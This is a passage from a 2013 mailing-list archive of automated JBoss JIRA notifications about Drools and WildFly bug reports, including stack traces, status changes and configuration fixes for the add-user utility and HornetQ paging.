>         at com.alu.mdm.container.jboss.JBossContainerImpl.getOrCreateDistributed
> Counter(JBossContainerImpl.java:102) [:]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 04:52:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 04:52:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.36839.1379667124524@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806006#comment-12806006 ] 

RH Bugzilla Integration commented on DROOLS-195:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> changed the Status of [bug 986465|https://bugzilla.redhat.com/show_bug.cgi?id=986465] from ON_QA to VERIFIED
                
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 04:52:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 04:52:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.36842.1379667124661@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806007#comment-12806007 ] 

RH Bugzilla Integration commented on DROOLS-195:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 986465|https://bugzilla.redhat.com/show_bug.cgi?id=986465]

Verified on 5.3.1.BRMS-P04.
                
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 04:54:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 04:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.36848.1379667243515@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806008#comment-12806008 ] 

RH Bugzilla Integration commented on DROOLS-197:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 986483|https://bugzilla.redhat.com/show_bug.cgi?id=986483]

Verified on 5.3.1.BRMS-P04.
                
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 04:54:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 04:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.36854.1379667243914@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806009#comment-12806009 ] 

RH Bugzilla Integration commented on DROOLS-197:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> changed the Status of [bug 986483|https://bugzilla.redhat.com/show_bug.cgi?id=986483] from ON_QA to VERIFIED
                
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 05:06:05 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 20 Sep 2013 05:06:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5061) add-user utility reports "No
 java.io.Console available to interact with user." when used silently with
 su and piped to a file.
In-Reply-To: <JIRA.12469374.1340396855000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12469374.1340396855000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12469374.1340396855000.36894.1379667965231@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/AS7-5061?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved AS7-5061.
-----------------------------------

    Resolution: Done


Do not re-open resolved issues.

If you are still experiencing this please create a new bug report with sufficient detail to reproduce.
                
> add-user utility reports "No java.io.Console available to interact with user." when used silently with su and piped to a file.
> ------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: AS7-5061
>                 URL: https://issues.jboss.org/browse/AS7-5061
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Domain Management, Security
>    Affects Versions: 7.1.2.Final (EAP)
>            Reporter: Samuel Doyle
>            Assignee: Darran Lofthouse
>             Fix For: EAP 6.1.0.Alpha (7.2.0.Final), 7.1.3.Final (EAP)
>
>
> ./add-user.sh dustin dustin1 does not work anymore. In previous versions it worked. It has to do with the "theConsole" object being null.
> In the same breadth, the --silent=true option in add-user.sh does not work anymore. Again has to do with the need for "theConsole" object being null.
> The --silent=true option was added because in some environments, System.console() returns null[for example when the Izpack installer calls that script] and the add-user.sh script breaks because of its dependence on System.console() object to print stuff.
> [the "theConsole" object calls the System.console() object] 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 05:54:03 2013
From: jira-events at lists.jboss.org (Nedo Nedic (JIRA))
Date: Fri, 20 Sep 2013 05:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-264) JPAKnowledgeService stops to
 work suddenly
In-Reply-To: <JIRA.12500830.1379412043000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500830.1379412043000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500830.1379412043000.37002.1379670843566@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-264?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806028#comment-12806028 ] 

Nedo Nedic commented on DROOLS-264:
-----------------------------------

As long as I can see this is only happening with rules having timers. During activation removal JobHandle is always null:

public static void removeAgendaItem(final ScheduledAgendaItem item, final InternalAgenda agenda) {
        // item.getJobHandle() == null
    	((InternalWorkingMemory)agenda.getWorkingMemory()).getTimerService().removeJob( item.getJobHandle() );
}

I'll try to post the full test case soon.
                
> JPAKnowledgeService stops to work suddenly
> ------------------------------------------
>
>                 Key: DROOLS-264
>                 URL: https://issues.jboss.org/browse/DROOLS-264
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: PostgreSQL 8.4
> Linux Ubuntu
> JBoss 5.1.0
>            Reporter: Nedo Nedic
>            Assignee: Mark Proctor
>
> From time to time, while facts are being inserted into session and persisted in database, the following exception occurs.
> The session is no more updated because SQL sentences can't be executed anymore. Sometimes, when session is restored from marshalled snapshot the same error happens.
> 2013-09-17 11:17:03,959 ERROR [org.drools.persistence.jpa.JpaTimerJobInstance] Unable to execute timer job!
> java.lang.RuntimeException: Unable to load session snapshot
> 	at org.drools.persistence.SessionMarshallingHelper.loadSnapshot(SessionMarshallingHelper.java:96)
> 	at org.drools.persistence.SingleSessionCommandService.initKsession(SingleSessionCommandService.java:269)
> 	at org.drools.persistence.SingleSessionCommandService.execute(SingleSessionCommandService.java:369)
> 	at org.drools.persistence.jpa.JpaTimerJobInstance.call(JpaTimerJobInstance.java:34)
> 	at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:1)
> 	at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
> 	at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> 	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:98)
> 	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:207)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
> 	at java.lang.Thread.run(Thread.java:619)
> Caused by: java.lang.NullPointerException
> 	at org.drools.time.impl.JDKTimerService.removeJob(JDKTimerService.java:133)
> 	at org.drools.common.Scheduler.removeAgendaItem(Scheduler.java:75)
> 	at org.drools.common.DefaultAgenda.removeScheduleItem(DefaultAgenda.java:474)
> 	at org.drools.common.DefaultAgenda.removeActivation(DefaultAgenda.java:349)
> 	at org.drools.common.DefaultAgenda.cancelActivation(DefaultAgenda.java:687)
> 	at org.drools.reteoo.RuleTerminalNode.retractLeftTuple(RuleTerminalNode.java:320)
> 	at org.drools.reteoo.SingleLeftTupleSinkAdapter.doPropagateRetractLeftTuple(SingleLeftTupleSinkAdapter.java:224)
> 	at org.drools.reteoo.SingleLeftTupleSinkAdapter.propagateRetractLeftTuple(SingleLeftTupleSinkAdapter.java:98)
> 	at org.drools.reteoo.NotNode.propagateRetractLeftTuple(NotNode.java:444)
> 	at org.drools.reteoo.NotNode.assertObject(NotNode.java:142)
> 	at org.drools.reteoo.SingleObjectSinkAdapter.propagateAssertObject(SingleObjectSinkAdapter.java:59)
> 	at org.drools.reteoo.CompositeObjectSinkAdapter.propagateAssertObject(CompositeObjectSinkAdapter.java:364)
> 	at org.drools.reteoo.ObjectTypeNode.assertObject(ObjectTypeNode.java:235)
> 	at org.drools.reteoo.EntryPointNode.assertObject(EntryPointNode.java:240)
> 	at org.drools.marshalling.impl.ProtobufInputMarshaller.assertHandleIntoOTN(ProtobufInputMarshaller.java:483)
> 	at org.drools.marshalling.impl.ProtobufInputMarshaller.readFactHandles(ProtobufInputMarshaller.java:459)
> 	at org.drools.marshalling.impl.ProtobufInputMarshaller.readSession(ProtobufInputMarshaller.java:259)
> 	at org.drools.marshalling.impl.ProtobufInputMarshaller.readSession(ProtobufInputMarshaller.java:116)
> 	at org.drools.marshalling.impl.ProtobufMarshaller.unmarshall(ProtobufMarshaller.java:143)
> 	at org.drools.persistence.SessionMarshallingHelper.loadSnapshot(SessionMarshallingHelper.java:88)
> 	... 11 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 06:37:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 06:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-218) Update add-user utility to
 allow overrides of property file name.
In-Reply-To: <JIRA.12489742.1366220996000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489742.1366220996000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489742.1366220996000.37028.1379673423457@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-218?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806033#comment-12806033 ] 

RH Bugzilla Integration commented on WFLY-218:
----------------------------------------------

Petr Kremensky <pkremens at redhat.com> made a comment on [bug 978984|https://bugzilla.redhat.com/show_bug.cgi?id=978984]

Verified on EAP 6.2.0.ER1
                
> Update add-user utility to allow overrides of property file name.
> -----------------------------------------------------------------
>
>                 Key: WFLY-218
>                 URL: https://issues.jboss.org/browse/WFLY-218
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management, Scripts
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Alpha3
>
>
> This enhancement is going to add two additional command line options to the add-user utility: -
> -up --user-properties
> This will specify the file name of the properties file containing the users and passwords.
> -gp --group-properties
> This will specify the file name of the properties file containing the users groups.
> If specified as absolute paths no searches will be used to locate additional file otherwise both the standalone and domain configuration folders will be searched for matching files.
> group-properties can only be specified if there is a user-properties, the omission of group-properties will disable the prompt to ask for a users groups.
> Specifying a user-properties disables the prompt asking if this is management or application as the primary reason for asking that was to decide which files to look for.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 06:37:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 06:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-218) Update add-user utility to
 allow overrides of property file name.
In-Reply-To: <JIRA.12489742.1366220996000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489742.1366220996000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489742.1366220996000.37043.1379673424171@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-218?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806036#comment-12806036 ] 

RH Bugzilla Integration commented on WFLY-218:
----------------------------------------------

Petr Kremensky <pkremens at redhat.com> changed the Status of [bug 978984|https://bugzilla.redhat.com/show_bug.cgi?id=978984] from ON_QA to VERIFIED
                
> Update add-user utility to allow overrides of property file name.
> -----------------------------------------------------------------
>
>                 Key: WFLY-218
>                 URL: https://issues.jboss.org/browse/WFLY-218
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management, Scripts
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Alpha3
>
>
> This enhancement is going to add two additional command line options to the add-user utility: -
> -up --user-properties
> This will specify the file name of the properties file containing the users and passwords.
> -gp --group-properties
> This will specify the file name of the properties file containing the users groups.
> If specified as absolute paths no searches will be used to locate additional file otherwise both the standalone and domain configuration folders will be searched for matching files.
> group-properties can only be specified if there is a user-properties, the omission of group-properties will disable the prompt to ask for a users groups.
> Specifying a user-properties disables the prompt asking if this is management or application as the primary reason for asking that was to decide which files to look for.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:03:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 08:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1934) Improve code of
 OutboundLdapConnectionTestCase
In-Reply-To: <JIRA.12499256.1377248810000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499256.1377248810000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499256.1377248810000.37259.1379678583451@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1934?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806057#comment-12806057 ] 

RH Bugzilla Integration commented on WFLY-1934:
-----------------------------------------------

Josef Cacek <jcacek at redhat.com> changed the Status of [bug 1000346|https://bugzilla.redhat.com/show_bug.cgi?id=1000346] from ON_QA to VERIFIED
                
> Improve code of OutboundLdapConnectionTestCase
> ----------------------------------------------
>
>                 Key: WFLY-1934
>                 URL: https://issues.jboss.org/browse/WFLY-1934
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Test Suite
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> The code of the test could be improved :
>  - no need to manipulate the configuration files by hand.
>  - adding a small test on a non-ssl url.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:03:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 08:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1934) Improve code of
 OutboundLdapConnectionTestCase
In-Reply-To: <JIRA.12499256.1377248810000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499256.1377248810000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499256.1377248810000.37262.1379678583708@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1934?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806058#comment-12806058 ] 

RH Bugzilla Integration commented on WFLY-1934:
-----------------------------------------------

Josef Cacek <jcacek at redhat.com> made a comment on [bug 1000346|https://bugzilla.redhat.com/show_bug.cgi?id=1000346]

Verified in 6.2.0.ER2.
                
> Improve code of OutboundLdapConnectionTestCase
> ----------------------------------------------
>
>                 Key: WFLY-1934
>                 URL: https://issues.jboss.org/browse/WFLY-1934
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Test Suite
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> The code of the test could be improved :
>  - no need to manipulate the configuration files by hand.
>  - adding a small test on a non-ssl url.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:05:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 08:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1385) Override default
 page-size-bytes in messaging subsystem configuration
In-Reply-To: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492539.1369299013000.37265.1379678703443@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1385?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806059#comment-12806059 ] 

RH Bugzilla Integration commented on WFLY-1385:
-----------------------------------------------

Miroslav Novak <mnovak at redhat.com> made a comment on [bug 920980|https://bugzilla.redhat.com/show_bug.cgi?id=920980]

I can't hit this issue with EAP 6.2.0.ER1. Setting as verified.
                
> Override default page-size-bytes in messaging subsystem configuration
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1385
>                 URL: https://issues.jboss.org/browse/WFLY-1385
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>            Priority: Minor
>             Fix For: 8.0.0.Alpha2
>
>
> When HornetQ address-full-policy is switched from BLOCK to PAGE, the following exception is thrown during shutdown.
> {noformat}
> Exception:
> 09:48:05,247 WARN  [org.hornetq.core.server] (MSC service thread 1-3) HQ222160: unable to send notification when broadcast group is stopped: java.lang.IllegalStateException: pageSize for address hornetq.notifications >= maxSize. Normally pageSize should be significantly smaller than maxSize, ms: 10485760 ps 10485760
>         at org.hornetq.core.paging.impl.PagingStoreImpl.<init>(PagingStoreImpl.java:147) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingStoreFactoryNIO.newStore(PagingStoreFactoryNIO.java:98) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingManagerImpl.newStore(PagingManagerImpl.java:250) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
> {noformat}
> The standalone-full.xml configuration overrides the default address-setting's max-size-bytes (defaults to -1) to set it at 10 MiB.
> However, if the admin changes the address-full-policy from BLOCK to PAGE, it will conflict with the default value for page-size-bytes which is also 10MiB.
> To make the overridden standalone-full.xml more consistent, we can override page-size-bytes and set it to 2MiB (2097152 bytes). This change has no effect when the address-full-policy remains at BLOCK. When it is changed to PAGE, the resulting configuration will be coherent and there will be no exception thrown

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:05:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 08:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1385) Override default
 page-size-bytes in messaging subsystem configuration
In-Reply-To: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492539.1369299013000.37268.1379678703572@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1385?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806060#comment-12806060 ] 

RH Bugzilla Integration commented on WFLY-1385:
-----------------------------------------------

Miroslav Novak <mnovak at redhat.com> changed the Status of [bug 920980|https://bugzilla.redhat.com/show_bug.cgi?id=920980] from ON_QA to VERIFIED
                
> Override default page-size-bytes in messaging subsystem configuration
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1385
>                 URL: https://issues.jboss.org/browse/WFLY-1385
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>            Priority: Minor
>             Fix For: 8.0.0.Alpha2
>
>
> When HornetQ address-full-policy is switched from BLOCK to PAGE, the following exception is thrown during shutdown.
> {noformat}
> Exception:
> 09:48:05,247 WARN  [org.hornetq.core.server] (MSC service thread 1-3) HQ222160: unable to send notification when broadcast group is stopped: java.lang.IllegalStateException: pageSize for address hornetq.notifications >= maxSize. Normally pageSize should be significantly smaller than maxSize, ms: 10485760 ps 10485760
>         at org.hornetq.core.paging.impl.PagingStoreImpl.<init>(PagingStoreImpl.java:147) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingStoreFactoryNIO.newStore(PagingStoreFactoryNIO.java:98) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingManagerImpl.newStore(PagingManagerImpl.java:250) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
> {noformat}
> The standalone-full.xml configuration overrides the default address-setting's max-size-bytes (defaults to -1) to set it at 10 MiB.
> However, if the admin changes the address-full-policy from BLOCK to PAGE, it will conflict with the default value for page-size-bytes which is also 10MiB.
> To make the overridden standalone-full.xml more consistent, we can override page-size-bytes and set it to 2MiB (2097152 bytes). This change has no effect when the address-full-policy remains at BLOCK. When it is changed to PAGE, the resulting configuration will be coherent and there will be no exception thrown

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:09:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Fri, 20 Sep 2013 08:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-137) Create a project adapting
 the old drools-api to the new kie implementations
In-Reply-To: <JIRA.12491686.1368469986000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491686.1368469986000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491686.1368469986000.37270.1379678943528@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-137?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco resolved DROOLS-137.
--------------------------------

    Resolution: Done

    
> Create a project adapting the old drools-api to the new kie implementations
> ---------------------------------------------------------------------------
>
>                 Key: DROOLS-137
>                 URL: https://issues.jboss.org/browse/DROOLS-137
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>            Reporter: Mario Fusco
>            Assignee: Mario Fusco
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:27:03 2013
From: jira-events at lists.jboss.org (Juergen Zimmermann (JIRA))
Date: Fri, 20 Sep 2013 08:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2118) PersistenceException breaks
 default error page
In-Reply-To: <JIRA.12501118.1379679983927@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501118.1379679983927@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501118.1379679983927.37318.1379680023526@jira02.app.mwc.hst.phx2.redhat.com>

Juergen Zimmermann created WFLY-2118:
----------------------------------------

